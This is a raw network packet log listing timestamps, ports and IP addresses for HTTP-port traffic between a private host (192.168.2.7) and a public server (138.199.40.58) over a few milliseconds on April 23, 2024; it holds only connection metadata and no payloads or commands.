Apr 23, 2024 08:39:58.699040890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699060917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699062109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699080944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699100018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699100018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699120998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699141026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699141979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699198008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699218988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699220896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699240923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699260950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699280977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699300051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699316978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699337006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699357033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699377060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699385881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699398041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699399948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699417114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699435949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699472904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699495077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699513912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699515104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699536085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699573040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699575901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699611902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699683905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699707985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699723959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699764013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699785948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699820995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699841976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699863911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699886084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699887991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699887991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699907064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699927092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.699945927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699999094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700020075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700021982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700077057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700197935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700201988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700295925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700316906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700320005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700340033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700377941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700398922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700401068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700464010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700514078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700535059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700553894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700575113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700577021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700594902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700596094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700651884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700675011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700705051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700726032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700776100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700795889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700817108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700836897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700841904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700859070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700880051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700897932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700918913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700938940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.700963020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.700978041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701015949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701037884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701039076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701057911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701076984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701098919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701105118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701106071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701118946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701139927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701141119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701211929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701230049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701270103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701308966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701323986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701333046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701397896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701421976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701488018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701508999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701529026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701548100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701570034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701710939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701761007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701839924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701872110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701894999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701925039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701946974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.701950073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.701986074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702007055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702025890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702027082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702066898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702088118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702090025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702107906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702127934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702127934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702148914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702150106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702168941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702225924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702245951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702246904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702266932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702286959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702287912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702325106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702366114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702368021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702415943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702436924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702456951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702480078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702496052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702517033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702538013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702603102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702649117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702671051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702699900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702722073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702785015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702832937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702852964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702873945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702894926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702898026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702914953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702935934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702956915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702958107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.702976942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702996969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.702999115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703001022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703035116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703062057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703109980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703130960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703233957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703253984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703255892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703277111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703277111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703299046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703320026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703355074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703375101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703396082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703433990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703454971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703505039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703527927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703557014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703577995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703598022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703620911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703622103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703636885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703656912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703676939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703696966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703697920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703717947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703717947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703738928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703811884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703828096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703833103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703851938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703852892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703872919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.703958035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.703979015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704019070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704073906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704094887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704096079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704124928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704147100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704147100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704168081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704185963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704207897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704226971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704246998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704266071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704266071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704284906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704286098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704313993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704317093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704334974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704355001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704375029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704375029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704395056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704415083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704417944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704435110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704457045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704457998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704477072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704497099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704514980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704515934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704516888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704536915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704556942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704576969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704596043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704617023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704617023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704618931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704638004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704638958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704659939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704685926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704736948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704758883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704778910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704802990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704802990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704823017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704845905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704866886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704871893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704905033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704905987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704906940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704925060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704945087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.704972029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.704989910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705013990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705055952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705075979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705079079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705096006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705096006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705137968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705159903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705161095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705219984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705255985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705279112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705298901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705312014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705327034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705336094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705384016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705396891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705405951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705408096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705429077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705456018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705472946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705564022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705601931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705615044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705621958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705626965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705671072 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705692053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705774069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705785990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705792904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705799103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705811024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705825090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705838919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705847979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705871105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705895901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.705919027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705931902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.705941916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706001043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706013918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706021070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706024885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706044912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706068039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706089973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706175089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706187010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706198931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706209898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706216097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706222057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706265926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706265926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706289053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706302881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706315041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706341028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706360102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706382036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706393957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706403971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706408024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706430912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706440926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706455946 CEST	80	49704	138.199.40.58	192.168.2.7
